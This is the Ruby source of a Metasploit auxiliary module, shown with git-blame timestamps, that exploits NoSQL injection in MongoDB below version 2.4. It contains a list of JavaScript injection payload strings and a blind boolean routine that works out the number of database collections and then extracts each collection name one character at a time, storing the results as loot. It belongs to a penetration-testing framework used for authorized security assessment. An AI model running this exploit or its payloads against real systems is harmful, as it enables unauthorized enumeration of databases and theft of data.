2014-06-07 16:20:34 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2014-06-07 16:20:34 +00:00
|
|
|
## Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
###
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2014-06-07 16:20:34 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2014-06-11 22:07:57 +00:00
|
|
|
include Msf::Auxiliary::Report
|
2014-06-07 16:20:34 +00:00
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => "MongoDB NoSQL Collection Enumeration Via Injection",
|
|
|
|
'Description' => %q{
|
|
|
|
This module can exploit NoSQL injections on MongoDB versions less than 2.4
|
|
|
|
and enumerate the collections available in the data via boolean injections.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
2014-06-16 16:40:21 +00:00
|
|
|
['Brandon Perry <bperry.volatile[at]gmail.com>'],
|
2014-06-07 16:20:34 +00:00
|
|
|
'References' =>
|
2014-06-16 16:40:21 +00:00
|
|
|
[
|
|
|
|
['URL', 'http://nosql.mypopescu.com/post/14453905385/attacking-nosql-and-node-js-server-side-javascript']
|
|
|
|
],
|
2014-06-07 16:20:34 +00:00
|
|
|
'Platform' => ['linux', 'win'],
|
|
|
|
'Privileged' => false,
|
|
|
|
'DisclosureDate' => "Jun 7 2014"))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('TARGETURI', [ true, 'Full vulnerable URI with [NoSQLi] where the injection point is', '/index.php?age=50[NoSQLi]'])
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2014-06-07 16:20:34 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def syntaxes
|
2014-06-08 02:03:28 +00:00
|
|
|
[["\"'||this||'", "'||[inject]||'"],
|
|
|
|
["\"';return+true;var+foo='", "';return+[inject];var+foo='"],
|
|
|
|
['\'"||this||"','"||[inject]||"'],
|
|
|
|
['\'";return+true;var+foo="', '";return+[inject];var+foo="'],
|
2014-06-07 16:20:34 +00:00
|
|
|
["||this","||[inject]"]]
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
uri = datastore['TARGETURI']
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => uri.sub('[NoSQLi]', '')
|
|
|
|
})
|
|
|
|
|
2014-06-08 00:58:12 +00:00
|
|
|
if !res
|
2015-04-16 19:08:33 +00:00
|
|
|
fail_with(Failure::UnexpectedReply, "Server did not respond in an expected way.")
|
2014-06-08 00:58:12 +00:00
|
|
|
end
|
|
|
|
|
2014-06-07 16:20:34 +00:00
|
|
|
pay = ""
|
|
|
|
fals = res.body
|
|
|
|
tru = nil
|
|
|
|
|
|
|
|
syntaxes.each do |payload|
|
|
|
|
print_status("Testing " + payload[0])
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => uri.sub('[NoSQLi]', payload[0])
|
|
|
|
})
|
|
|
|
|
2014-06-08 00:58:12 +00:00
|
|
|
if res and res.body != fals and res.code == 200
|
2014-06-07 16:20:34 +00:00
|
|
|
print_status("Looks like " + payload[0] + " works")
|
|
|
|
tru = res.body
|
2014-06-08 00:58:12 +00:00
|
|
|
|
2014-06-08 02:03:28 +00:00
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => uri.sub('[NoSQLi]', payload[0].sub('true', 'false').sub('this', '!this'))
|
|
|
|
})
|
2014-06-08 00:58:12 +00:00
|
|
|
|
2014-06-08 02:03:28 +00:00
|
|
|
if res and res.body != tru and res.code == 200
|
|
|
|
vprint_status("I think I confirmed with a negative test.")
|
|
|
|
fals = res.body
|
|
|
|
pay = payload[1]
|
|
|
|
break
|
|
|
|
end
|
2014-06-07 16:20:34 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2014-06-08 00:58:12 +00:00
|
|
|
if pay == ''
|
2015-04-16 19:08:33 +00:00
|
|
|
fail_with(Failure::Unknown, "Couldn't detect a payload, maybe it isn't injectable.")
|
2014-06-08 00:58:12 +00:00
|
|
|
end
|
|
|
|
|
2014-06-07 16:20:34 +00:00
|
|
|
length = 0
|
|
|
|
vprint_status("Getting length of the number of collections.")
|
|
|
|
(0..100).each do |len|
|
|
|
|
str = "db.getCollectionNames().length==#{len}"
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => uri.sub('[NoSQLi]', pay.sub('[inject]', str))
|
|
|
|
})
|
|
|
|
|
2014-06-08 00:58:12 +00:00
|
|
|
if res and res.body == tru
|
2014-06-07 16:20:34 +00:00
|
|
|
length = len
|
|
|
|
print_status("#{len} collections are available")
|
|
|
|
break
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
vprint_status("Getting collection names")
|
|
|
|
|
2014-06-11 22:07:57 +00:00
|
|
|
names = []
|
|
|
|
(0...length).each do |i|
|
2014-06-07 16:20:34 +00:00
|
|
|
vprint_status("Getting length of name for collection " + i.to_s)
|
|
|
|
|
|
|
|
name_len = 0
|
|
|
|
(0..100).each do |k|
|
|
|
|
str = "db.getCollectionNames()[#{i}].length==#{k}"
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => uri.sub('[NoSQLi]', pay.sub('[inject]', str))
|
|
|
|
})
|
|
|
|
|
2014-06-08 00:58:12 +00:00
|
|
|
if res and res.body == tru
|
2014-06-07 16:20:34 +00:00
|
|
|
name_len = k
|
|
|
|
print_status("Length of collection #{i}'s name is #{k}")
|
|
|
|
break
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
vprint_status("Getting collection #{i}'s name")
|
|
|
|
|
|
|
|
name = ''
|
2014-06-11 22:07:57 +00:00
|
|
|
(0...name_len).each do |k|
|
|
|
|
[*('a'..'z'),*('0'..'9'),*('A'..'Z'),'.'].each do |c|
|
2014-06-07 16:20:34 +00:00
|
|
|
str = "db.getCollectionNames()[#{i}][#{k}]=='#{c}'"
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => uri.sub('[NoSQLi]', pay.sub('[inject]', str))
|
|
|
|
})
|
|
|
|
|
2014-06-08 00:58:12 +00:00
|
|
|
if res and res.body == tru
|
2014-06-07 16:20:34 +00:00
|
|
|
name << c
|
|
|
|
break
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2014-06-08 00:58:12 +00:00
|
|
|
print_status("Collections #{i}'s name is " + name)
|
2014-06-11 22:07:57 +00:00
|
|
|
names << name
|
2014-06-07 16:20:34 +00:00
|
|
|
end
|
|
|
|
|
2014-06-11 22:07:57 +00:00
|
|
|
p = store_loot("mongo_injection.#{datastore['RHOST']}_collections",
|
|
|
|
"text/plain",
|
|
|
|
nil,
|
|
|
|
names.to_json,
|
|
|
|
"mongo_injection_#{datastore['RHOST']}.txt",
|
|
|
|
"#{datastore["RHOST"]} MongoDB Javascript Injection Collection Enumeration")
|
|
|
|
|
|
|
|
print_good("Your collections are located at: " + p)
|
2014-06-07 16:20:34 +00:00
|
|
|
end
|
|
|
|
end
|